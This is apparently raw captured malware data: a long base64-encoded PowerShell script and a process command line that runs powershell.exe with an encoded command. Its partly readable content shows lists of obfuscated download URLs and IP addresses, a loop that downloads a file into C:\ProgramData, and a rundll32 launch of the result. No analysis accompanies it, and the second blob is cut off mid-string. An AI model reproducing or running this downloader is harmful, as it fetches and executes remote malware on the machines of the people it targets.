A0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBAHgAQQBEAGcAQQBNAEEAQQB2AEEARgBFAEEAYwB3AEIAVgBBAEMAOABBAE4AZwBCAFUAQQBIAGMAQQBRAHcAQgBGAEEARQBzAEEAIgA7ACQAUwBwAGEAcgBzAGkAbwBwAGwAYQBzAHQAQQBzAHMAZQBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBhAEEAQgA1AEEASABRAEEAYgB3AEIAdwBBAEcAZwBBAGUAUQBCAHMAQQBHADgAQQBaAHcAQgBsAEEARwA0AEEAYQBRAEIAagBBAEYAQQBBAGIAdwBCAHMAQQBIAGsAQQBZAHcAQgBvAEEARwBFAEEAYwB3AEIAcABBAEcARQBBAEwAZwBCAGoAQQBHADgAQQBaAGcAQgBtAEEARwBVAEEAWgBRAEEAPQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUANABBAFoAUQBCADMAQQBIAE0AQQBiAFEAQgBsAEEARwA0AEEATABnAEIAagBBAEcARQBBAFkAZwBBAD0AcQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADAAQQBHADgAQQBlAEEAQgBwAEEARwBNAEEAYgB3AEIAawBBAEcAVQBBAGMAZwBCAHQAQQBHAEUAQQBkAEEAQgBwAEEASABRAEEAYQBRAEIAegBBAEMANABBAGIAUQBCAGwAQQBBAD0APQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcASQBBAGIAQQBCAGgAQQBHAE0AQQBhAHcAQgAwAEEARwA4AEEAYwBBAEIAegBBAEMANABBAFkAZwBCADEAQQBHAGsAQQBiAEEAQgBrAEEAQQA9AD0AIgA7ACQAdQBuAGEAbgB0AGkAYwBpAHAAYQB0AGUAZABsAHkAVQBuAGQAZQBwAHIAZQBjAGEAdABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcARQBBAGQAUQBCADAAQQBHADgAQQBZAHcAQgA1AEEASABNAEEAZABBAEIAdgBBAEgAQQBBAGIAQQBCAGgAQQBIAE0AQQBkAEEAQgA1AEEAQwA0AEEAWgB3AEIAcABBAEgAWQBBAFoAUQBCAHoAQQBBAD0APQBmAEYAYwBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQA1AEEARABrAEEATABnAEEANQBBAEQATQBBAEwAZwBBADEAQQBEAGcAQQBmAEYAYwBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAZwBBAGIAQQBCAHYAQQBIAEkAQQBhAEEAQgBsAEEASABnAEEAYQBRAEIAawBBAEcAawBBAGIAZwBCAGwAQQBFADAAQQBiAHcAQgB1AEEARwA4AEEAYgBBAEIAaABBAEgAUQBBAFoAUQBCAHkAQQBDADQAQQBkAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEEAPQA9AGYARgBjAE4AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEAMgBBAEMANABBAE0AUQBBADUAQQBEAEUAQQBMAGcAQQAzAEEARABFAEEATABnAEEAeQBBAEQASQBBAE0AZwBBAD0AIgA7ACQAcgBlAHAAZQBhAHQAZQByAEMAbwBsAGwAbwBxAHUAaQBhAGwAaQB0AHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAFEAQQB1AEEARABFAEEATwBBAEEAMQBBAEMANABBAE0AUQBBADAAQQBEAFEAQQBMAGcAQQB4AEEARABZAEEATQBRAEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJAB1AG4AcwB0AG8AcABwAGEAYgBsAGUATwBrAGUAbgBpAHQAZQAgAGkAbgAgACQAbwByAGQAaQBuAGEAcgBpAGEAdABlAE8AdQB0AHQAaAByAHUAcwB0ACAALQBzAHAAbABpAHQAIAAiAE0AeAAiACkAIAB7ACQAYwBoAG8AbgBkAHIAbwBpAHQAaQBuAE8AYwBoAGwAbwBjAHIAYQB0AGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEUAQQBOAHcAQQB1AEEARABJAEEATQBRAEEANQBBAEMANABBAE0AZwBBAHkAQQBEAEkAQQBMAGcAQQB4AEEARABRAEEATgBnAEEAPQB6AHgATwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADIAQQBEAEUAQQBMAGcAQQB5AEEARABFAEEATQB3AEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAGcAQQB4AEEARABNAEEAegB4AE8AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAMgBBAEMANABBAE0AUQBBAHkAQQBEAEkAQQBMAGcAQQB5AEEARABVAEEATgBBAEEAdQBBAEQASQBBAE4AQQBBAHcAQQBBAD0APQB6AHgATwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFADgAQQBkAGcAQgBsAEEASABJAEEAWQB3AEIAcwBBAEgAVQBBAGQAQQBCADAAQQBHAFUAQQBjAGcAQQB1AEEARwBvAEEAWgBRAEIAMABBAEgAbwBBAGQAQQBBAD0AIgA7ACQAZABpAHAAaAB5AGMAZQByAGMAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE4AZwBBAHUAQQBEAEUAQQBOAGcAQQB3AEEAQwA0AEEATQBnAEEAMABBAEQARQBBAEwAZwBBAHkAQQBEAEEAQQBPAEEAQQA9AGIAVABUAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAGEAQQBCAGwAQQBHAGsAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEIAbgBBAEcARQBBAGIAQQBCADUAQQBFAFUAQQBiAFEAQgB3AEEARwA4AEEAYwBnAEIAMABBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBMAGcAQgBsAEEARwBFAEEAYwBnAEIAMABBAEcAZwBBACIAOwB0AHIAeQAgAHsAJAByAGEAdAB0AGUAcgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATgB3AEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQA1AEEAQwA0AEEATQBRAEEAdwBBAEQASQBBAEUAbQBIAHYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABNAEEATABnAEEAeQBBAEQAUQBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATgB3AEEANABBAEEAPQA9ACIAOwAkAHMAbgBpAGYAZgBpAG4AZwBNAGUAcgBpAHMAbQBhAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAFkAdwBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAFkAdwBCAEMAQQBHAFUAQQBjAFEAQgAzAEEARwBVAEEAZABBAEIAbABBAEMANABBAFoAdwBCAHkAQQBBAD0APQAiADsAJABBAG4AYQBzAHQAYQB0AGUASABlAG0AYQBkAHIAbwBtAG8AZwByAGEAcABoACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgB3AEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAawBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBBAEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQAYwBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAYwBnAEIAdgBBAEgAWQBBAFoAUQBCADAAQQBFAFEAQQBhAFEAQgBpAEEARwBJAEEAYgBBAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAGsAQQBiAHcAQgBuAEEARwBFAEEAdQByAHIASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAaABBAEcAYwBBAGIAdwBBAHUAQQBHAEUAQQBZAHcAQgBoAEEARwBRAEEAWgBRAEIAdABBAEgAawBBACIAOwAkAFcAaABpAHQAZQBkAGEAbQBwAEMAaAB1AGYAZgB5ACAAPQAgACQAdQBuAHMAdABvAHAAcABhAGIAbABlAE8AawBlAG4AaQB0AGUAOwAkAFQAcgBvAGcAZwBzAEgAeQBwAG8AZwBlAHUAcwBpAGEAIAA9ACAAIgBhAHcAQgB1AEEARwBVAEEAWgBRAEIAcwBBAEcAVQBBAGMAZwBCAHoAQQBFAHcAQQBZAFEAQgBpAEEARwBVAEEAYgBBAEIAcwBBAEcAVQBBAFoAQQBBAHUAQQBHAFEAQQBiAEEAQgBzAEEAQQA9AD0AIgA7ACQAQQB1AHQAbwBwAG8AcwBpAHQAaQB2AGUAQgBhAGcAaABsAGEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBoAGkAdABlAGQAYQBtAHAAQwBoAHUAZgBmAHkAKQApADsAJABsAG8AcABzAGkAZABlAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVAByAG8AZwBnAHMASAB5AHAAbwBnAGUAdQBzAGkAYQApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAEEAdQB0AG8AcABvAHMAaQB0AGkAdgBlAEIAYQBnAGgAbABhACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAbABvAHAAcwBpAGQAZQBkADsAJAByAGEAdAB0AGUAcgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATgB3AEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQA1AEEAQwA0AEEATQBRAEEAdwBBAEQASQBBAEUAbQBIAHYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABNAEEATABnAEEAeQBBAEQAUQBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATgB3AEEANABBAEEAPQA9ACIAOwAkAHMAbgBpAGYAZgBpAG4AZwBNAGUAcgBpAHMAbQBhAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAFkAdwBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAFkAdwBCAEMAQQBHAFUAQQBjAFEAQgAzAEEARwBVAEEAZABBAEIAbABBAEMANABBAFoAdwBCAHkAQQBBAD0APQAiADsAJABBAG4AYQBzAHQAYQB0AGUASABlAG0AYQBkAHIAbwBtAG8AZwByAGEAcABoACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgB3AEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAawBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBBAEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQAYwBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAYwBnAEIAdgBBAEgAWQBBAFoAUQBCADAAQQBFAFEAQQBhAFEAQgBpAEEARwBJAEEAYgBBAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAGsAQQBiAHcAQgBuAEEARwBFAEEAdQByAHIASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAaABBAEcAYwBBAGIAdwBBAHUAQQBHAEUAQQBZAHcAQgBoAEEARwBRAEEAWgBRAEIAdABBAEgAawBBACIAOwAkAFQAZQBpAG4AZABlAHIAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAJABsAG8AcABzAGkAZABlAGQAKQAuAEwAZQBuAGcAdABoADsAJABzAGwAYQB1AGcAaAB0AGUAcgBlAHIAUwBpAG0AYgBsAGkAbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMQBBAEcANABBAGMAdwBCAGgAQQBHAE0AQQBjAGcAQgBwAEEARwBZAEEAYQBRAEIAagBBAEcAVQBBAFkAUQBCAGkAQQBHAHcAQQBlAFEAQgBWAEEARwA0AEEAYgBBAEIAdgBBAEcATQBBAGEAdwBCAHoAQQBDADQAQQBjAEEAQgBwAEEARwBNAEEAZABBAEIAMQBBAEgASQBBAFoAUQBCAHoAQQBBAD0APQAiADsAJABDAG8AYQByAGIAaQB0AHIAYQB0AG8AcgBQAG8AZQBzAGkAbABlAHMAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAUQBBAGEAQQBCADEAQQBHAG8AQQBZAFEAQgB6AEEAQwA0AEEAWgB3AEIAcABBAEcAWQBBAGQAQQBBAD0AUABwAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAwAEEARABrAEEATABnAEEAeABBAEQAVQBBAE0AdwBBAHUAQQBEAEUAQQBNAGcAQQAxAEEAQwA0AEEATQBRAEEAdwBBAEQAawBBAFAAcABQAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AdwBBAHUAQQBEAEUAQQBPAEEAQQAzAEEAQwA0AEEATwBBAEEAMQBBAEMANABBAE8AQQBBAHgAQQBBAD0APQAiADsAaQBmACAAKAAkAFQAZQBpAG4AZABlAHIAIAAtAGcAZQAgADUANAAzADQAMgApAHsAJABSAGUAbQBpAG4AdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAeQBBAEMANABBAE0AZwBBAHoAQQBEAEEAQQBMAGcAQQA1AEEARABJAEEATABnAEEAeQBBAEQARQBBAE0AUQBBAD0AcABMAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAQQBBAGMAdwBCAGwAQQBIAFUAQQBaAEEAQgBsAEEASABBAEEAYQBRAEIAbgBBAEgASQBBAFkAUQBCAHcAQQBHAGcAQQBhAFEAQgBqAEEARQBFAEEAYwBnAEIAagBBAEcAZwBBAGEAUQBCAHQAQQBHAFUAQQBaAEEAQgBsAEEARwBFAEEAYgBnAEEAdQBBAEcASQBBAGMAZwBCADEAQQBIAE0AQQBjAHcAQgBsAEEARwB3AEEAYwB3AEEAPQBwAEwAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBJAEEASABrAEEAYwBBAEIAdgBBAEgAUQBBAGEAQQBCAGwAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAWgBBAEIAdgBBAEgAYwBBAGIAZwBCAHMAQQBHADgAQQBZAFEAQgBrAEEAQQA9AD0AcABMAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQATQBBAE0AdwBBAHUAQQBEAEUAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAeQBBAEQAQQBBAEwAZwBBAHgAQQBEAFEAQQBOAEEAQQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAHYAQQBHAE0AQQBjAGcAQgBoAEEARwBNAEEAZQBRAEIAVABBAEgAVQBBAFkAZwBCAHoAQQBHAE0AQQBiAEEAQgBsAEEASABJAEEAYgB3AEIAMABBAEcAawBBAFkAdwBBAGcAQQBEADAAQQBJAEEAQQBpAEEASABRAEEAYQBBAEIAcABBAEcAOABBAFkAdwBCAGgAQQBIAEkAQQBZAGcAQgBwAEEARwAwAEEAYQBRAEIAawBBAEcAVQBBAFUAZwBCAGwAQQBHAEkAQQBiAHcAQgAxAEEARwA0AEEAWgBBAEIAbABBAEgASQBBAEkAZwBBADcAQQBDAFEAQQBjAHcAQgBsAEEARwAwAEEAYQBRAEIAbQBBAEcAVQBBAGQAUQBCAGsAQQBHAEUAQQBiAEEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEcAVQBBAGIAUQBCAHAAQQBHAGMAQQBjAGcAQgBoAEEASABRAEEAYQBRAEIAdQBBAEcAYwBBAFUAQQBCAHYAQQBHAHcAQQBlAFEAQgB3AEEARwBFAEEAYwBnAEIAcABBAEgAVQBBAGIAUQBBAGkAQQBEAHMAQQBKAEEAQgBOAEEARwBFAEEAYwBnAEIAcABBAEcARQBBAGIAQQBCAHAAQQBIAFEAQQBaAFEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEgAUQBBAGEAQQBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAWQBnAEIAdgBBAEcAdwBBAGQAQQBCAHoAQQBGAFkAQQBZAFEAQgB6AEEASABRAEEAYQBRAEIAbABBAEgASQBBAEkAZwBBADcAQQBHAE0AQQBiAFEAQgBrAEEAQwBBAEEATAB3AEIAagBBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAYQB3AEIAdQBBAEcAVQBBAFoAUQBCAHMAQQBHAFUAQQBjAGcAQgB6AEEARQB3AEEAWQBRAEIAaQBBAEcAVQBBAGIAQQBCAHMAQQBHAFUAQQBaAEEAQQB1AEEARwBRAEEAYgBBAEIAcwBBAEMAdwBBAGIAUQBCAHYAQQBIAEkAQQBaAFEAQQA3AEEAQwBRAEEAUgB3AEIAMQBBAEcAawBBAFoAQQBCAGgAQQBHADQAQQBZAHcAQgBsAEEARQBNAEEAWQBRAEIAdABBAEcASQBBAGMAZwBCAGwAQQBHAHcAQQBJAEEAQQA5AEEAQwBBAEEASQBnAEIAVgBBAEcANABBAGQAdwBCAG8AQQBHAGsAQQBiAFEAQgB3AEEARwBVAEEAYwBnAEIAcABBAEcANABBAFoAdwBBAGkAQQBEAHMAQQBKAEEAQgBTAEEARwBVAEEAZABnAEIAbABBAEcANABBAFoAdwBCAGwAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCAFEAQQBHAGcAQQBhAFEAQgBzAEEARwBrAEEAYwBBAEIAdwBBAEcAawBBAGMAdwBCAHQAQQBDAEkAQQBPAHcAQQBrAEEARQBrAEEAYwBnAEIAcABBAEgATQBBAFkAdwBCAHYAQQBIAEEAQQBaAFEAQgBUAEEARwB3AEEAWQBRAEIAdQBBAEcAYwBBAGQAUQBCAHMAQQBHAEUAQQBjAGcAQQBnAEEARAAwAEEASQBBAEEAaQBBAEUASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBwAEEASABNAEEAZABBAEEAaQBBAEQAcwBBAEoAQQBCAFEAQQBIAFUAQQBjAEEAQgBwAEEARwB3AEEAYgBBAEIAbABBAEgATQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBpAEEARQBNAEEAYgB3AEIAcwBBAEcAdwBBAFkAUQBCAHkAQQBHAEkAQQBhAFEAQgB5AEEARwBRAEEAVgBRAEIAdQBBAEcAWQBBAFoAUQBCAHAAQQBHAGMAQQBiAGcAQgBsAEEARwBRAEEAYgBnAEIAbABBAEgATQBBAGMAdwBBAGkAQQBEAHMAQQAiADsAJABTAHAAYQBsAGwAYQBiAGwAZQBIAHUAcwBiAGEAbgBkAGwAaQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABnAEEATQBRAEEAdQBBAEQAYwBBAE8AUQBBAHUAQQBEAEUAQQBOAGcAQQAwAEEAQwA0AEEATQBRAEEAeQBBAEQAQQBBAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBjAEEAWgBRAEIAeQBBAEcAMABBAFkAUQBCAHUAQQBHAGsAQQBlAGcAQgBoAEEASABRAEEAYQBRAEIAdgBBAEcANABBAFMAQQBCADUAQQBHAFEAQQBZAFEAQgAwAEEARwA4AEEAYgBRAEIAdgBBAEgASQBBAGMAQQBCAG8AQQBHAGsAQQBZAHcAQQB1AEEASABJAEEAWgBRAEIAdQBBAEgAUQBBAFkAUQBCAHMAQQBIAE0AQQBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAbABBAEgAQQBBAGEAUQBCAGoAQQBHAGcAQQBhAFEAQgBzAEEARQBVAEEAYwB3AEIAegBBAEcAOABBAGEAUQBCAHUAQQBHAFUAQQBjAGcAQQB1AEEARwBRAEEAYQBRAEIAbgBBAEcAawBBAGQAQQBCAGgAQQBHAHcAQQBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVgBBAEcANABBAFkAdwBCAHYAQQBHADAAQQBjAEEAQgAxAEEASABRAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAHUAQQBHAFUAQQBjAHcAQgB6AEEARgBNAEEAZABRAEIAaQBBAEcAYwBBAGIAQQBCAHYAQQBIAFEAQQBkAEEAQgBoAEEARwB3AEEATABnAEIAeQBBAEcAOABBACIAOwAkAHMAdwBpAG4AZQBwAGkAcABlAE4AbwBuAGkAbABsAHUAcwBpAHYAZQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBBAEEAeABBAEMANABBAE0AZwBBADAAQQBEAEUAQQBMAGcAQQA1AEEARABnAEEATABnAEEANQBBAEQAUQBBAHoAWQBMAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBFAEEASABVAEEAWQB3AEIAcgBBAEgAQQBBAGEAUQBCAHUAQQBFADQAQQBaAFEAQgBzAEEASABNAEEAYgB3AEIAdQBBAEMANABBAGIAZwBCADUAQQBHAE0AQQB6AFkATAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQARQBBAE4AdwBBAHUAQQBEAEUAQQBNAGcAQQAxAEEAQwA0AEEATQBRAEEANABBAEQAWQBBAEwAZwBBADUAQQBEAEkAQQB6AFkATAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAQQBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQB5AEEARABJAEEATgBBAEEAdQBBAEQAZwBBAE8AUQBBAD0AIgA7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABSAG8AcwBlAHcAbwByAHQATgBvAG4AYQBzAHQAcgBvAG4AbwBtAGkAYwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE8AQQBBAHUAQQBEAEUAQQBOAFEAQQB3AEEAQwA0AEEATQBnAEEAMABBAEQARQBBAEwAZwBBAHgAQQBEAEkAQQBNAFEAQQA9AHYAZABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGMAQQBjAGcAQgBsAEEARwBFAEEAYwB3AEIAcABBAEcAVQBBAGMAZwBCAFMAQQBHAFUAQQBiAEEAQgBoAEEASABRAEEAYQBRAEIAMgBBAEcARQBBAGIAQQBBAHUAQQBIAE0AQQBiAHcAQgBtAEEASABRAEEAZAB3AEIAaABBAEgASQBBAFoAUQBBAD0AIgA7ACQAUwB1AHAAZQByAHIAZQBmAGkAbgBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAyAEEAQwA0AEEATQBnAEEAeABBAEQAUQBBAEwAZwBBAHkAQQBEAEkAQQBOAFEAQQB1AEEARABJAEEATgBRAEEAeABBAEEAPQA9ACIAOwAkAE4AZQB3AHMAcgBlAGUAbABzAFIAaQBjAG8AYwBoAGUAdABlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAzAEEAQwA0AEEATQBRAEEAegBBAEQAZwBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQB1AEEARABjAEEATwBBAEEAPQBMAEIAawBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAE4AQQBBAHUAQQBEAGsAQQBPAEEAQQB1AEEARABnAEEATwBRAEEAdQBBAEQARQBBAE8AUQBBADUAQQBBAD0APQBMAEIAawBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUASQBBAFkAUQBCAHoAQQBHAGsAQQBjAEEAQgB2AEEARwBRAEEAYQBRAEIAMABBAEcAawBBAFkAdwBCAFEAQQBHAGcAQQBiAHcAQgBsAEEARwA0AEEAYQBRAEIAagBBAEcARQBBAFkAdwBCAGwAQQBHAEUAQQBaAFEAQQB1AEEARwBrAEEAYgBRAEIAdABBAEcAOABBAFkAZwBCAHAAQQBHAHcAQQBhAFEAQgBsAEEARwA0AEEATABCAGsAWgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBOAFEAQQB1AEEARABFAEEATgBBAEEAMwBBAEMANABBAE0AUQBBAHoAQQBEAEUAQQBMAGcAQQB5AEEARABBAEEATwBBAEEAPQAiADsAJABvAHIAZABpAG4AYQByAGkAYQB0AGUATwB1AHQAdABoAHIAdQBzAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAE0AQQBNAFEAQQB1AEEARABrAEEATgB3AEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBOAHcAQQB5AEEAQwA4AEEAWgB3AEIAUwBBAEMAOABBAGEAQQBCADMAQQBHADQAQQBWAFEAQQA9AE0AeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFUAQQBPAFEAQQB1AEEARABFAEEATwBBAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAFUAQQBMAGcAQQB4AEEARABJAEEATwBBAEEAdgBBAEYAYwBBAE0AUQBBAHYAQQBHAFUAQQBhAEEAQgBtAEEAQQA9AD0ATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAaABBAEgAUQBBAGIAUQBCAHYAQQBIAE0AQQBkAEEAQgBsAEEARwBFAEEAVQB3AEIAMQBBAEgAQQBBAFoAUQBCAHkAQQBIAFE